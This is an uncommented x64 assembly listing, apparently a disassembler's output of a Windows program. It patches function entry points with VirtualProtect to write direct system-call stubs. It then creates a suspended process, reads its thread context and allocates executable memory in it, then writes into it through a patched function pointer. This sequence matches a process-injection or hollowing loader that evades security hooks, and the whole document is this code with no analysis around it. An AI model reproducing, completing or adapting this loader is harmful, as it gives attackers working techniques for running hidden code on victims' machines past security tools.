mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005790], rax
mov rdx, qword [rbp - 0x68]
cmp rdx, r13
jb 0x1400019b8
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019b3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], r12b
mov rdx, qword [rsp + 0x78]
cmp rdx, r13
jb 0x140001a07
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a02
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
cmp qword [0x140005790], r12
je 0x140001e92
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
lea rax, [rbp + 0x40]
mov r8, rdi
inc r8
cmp byte [rax + r8], r12b
jne 0x140001a2d
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14000232c
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xe0]
call fcn.140000774
cmp qword [rax + 0x18], r13
jb 0x140001a63
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400057a8], rax
mov rdx, qword [rbp - 0x68]
cmp rdx, r13
jb 0x140001ab3
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001aae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001aae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], r12b
mov rdx, qword [rsp + 0x78]
cmp rdx, r13
jb 0x140001b02
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001afd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001afd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
cmp qword [0x1400057a8], r12
je 0x140001e92
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
lea rax, [rbp - 0x50]
inc rdi
cmp byte [rax + rdi], r12b
jne 0x140001b25
mov r8, rdi
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x60]
call fcn.14000232c
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xe0]
call fcn.140000774
cmp qword [rax + 0x18], r13
jb 0x140001b5e
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400057d8], rax
mov rdx, qword [rbp - 0x68]
mov ebx, 0x1000
cmp rdx, r13
jb 0x140001baf
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, rbx
jb 0x140001baa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001baa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], r12b
mov rdx, qword [rsp + 0x78]
cmp rdx, r13
jb 0x140001bfa
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, rbx
jb 0x140001bf5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001bf5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
cmp qword [0x1400057d8], r12
je 0x140001e92
mov eax, 0x40
mov dword [rbp + 0x770], eax
lea r9, [rbp + 0x778]
mov r8d, eax
lea edi, [rax - 0x3b]
mov edx, edi
mov rcx, qword [0x140005790]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001e92
mov dword [rbp + 0x780], 0xb8d18b4c
mov rcx, qword [0x140005790]
mov eax, dword [rbp + 0x780]
mov dword [rcx], eax
mov byte [rcx + 4], 0x3a
lea r9, [rbp + 0x770]
mov r8d, dword [rbp + 0x778]
mov edx, edi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0x778]
mov r8d, dword [rbp + 0x770]
mov edx, edi
mov rcx, qword [0x1400057a8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001e92
mov dword [rbp + 0x770], 0x40
mov dword [rbp + 0x780], 0xb8d18b4c
mov rcx, qword [0x1400057a8]
mov eax, dword [rbp + 0x780]
mov dword [rcx], eax
mov byte [rcx + 4], 0x98
lea r9, [rbp + 0x770]
mov r8d, dword [rbp + 0x778]
mov edx, edi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0x778]
mov r8d, dword [rbp + 0x770]
mov edx, edi
mov rcx, qword [0x1400057d8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001e92
mov dword [rbp + 0x770], 0x40
mov dword [rbp + 0x780], 0xb8d18b4c
mov rcx, qword [0x1400057d8]
mov eax, dword [rbp + 0x780]
mov dword [rcx], eax
mov byte [rcx + 4], 0x52
lea r9, [rbp + 0x770]
mov r8d, dword [rbp + 0x778]
mov edx, edi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0x778]
mov r8d, dword [rbp + 0x770]
mov edx, edi
mov rcx, qword [0x1400057a0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001e92
mov dword [rbp + 0x780], 0xb8d18b4c
mov rcx, qword [0x1400057a0]
mov eax, dword [rbp + 0x780]
mov dword [rcx], eax
mov byte [rcx + 4], 0xcf
lea r9, [rbp + 0x770]
mov r8d, dword [rbp + 0x778]
mov edx, edi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0x778]
mov r8d, dword [rbp + 0x770]
mov edx, edi
mov rcx, qword [0x1400057c8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001e92
mov dword [rbp + 0x780], 0xb8d18b4c
mov rcx, qword [0x1400057c8]
mov eax, dword [rbp + 0x780]
mov dword [rcx], eax
mov byte [rcx + 4], 0x50
lea r9, [rbp + 0x770]
mov r8d, dword [rbp + 0x778]
mov edx, edi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [rbp + 0x120]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x2c0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov edi, 4
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x330]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001e92
mov r9d, edi
mov r8d, ebx
lea edx, [rdi + 4]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [rax + 0x30], 0x10000b
mov rdx, rax
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140001e92
mov r8d, dword [rsi + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rsi + 0x30]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x20], r12
mov r9d, dword [rsi + 0x54]
mov r8, r14
mov rdx, rax
mov rcx, qword [rbp + 0x120]
call qword [0x140005790]
nop
mov ebx, 0x1000
test r15, r15
je 0x140001ed6
mov rcx, qword [rbp + 0xd0]
sub rcx, r15
mov rax, r15
cmp rcx, rbx
jb 0x140001eca
add rcx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001eca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rcx
mov rcx, r15
call fcn.140002b04
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, r13
jb 0x140001f0f
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, rbx
jb 0x140001f0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f0a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], r12b
mov rdx, qword [rbp + 0x1f0]
cmp rdx, r13
jb 0x140001f5f
inc rdx
mov rcx, qword [rbp + 0x1d8]
mov rax, rcx
cmp rdx, rbx
jb 0x140001f59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f59
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
nop
lea rcx, [rbp + 0xe0]
call fcn.1400008b4
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, r13
jb 0x140001fa9
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, rbx
jb 0x140001fa3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001fa3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, r13
jb 0x140001fe2
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, rbx
jb 0x140001fdd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001fdd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b04
mov rbx, qword [rsp + 0x888]
add rsp, 0x830
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140000524
nop
call fcn.140002864
int3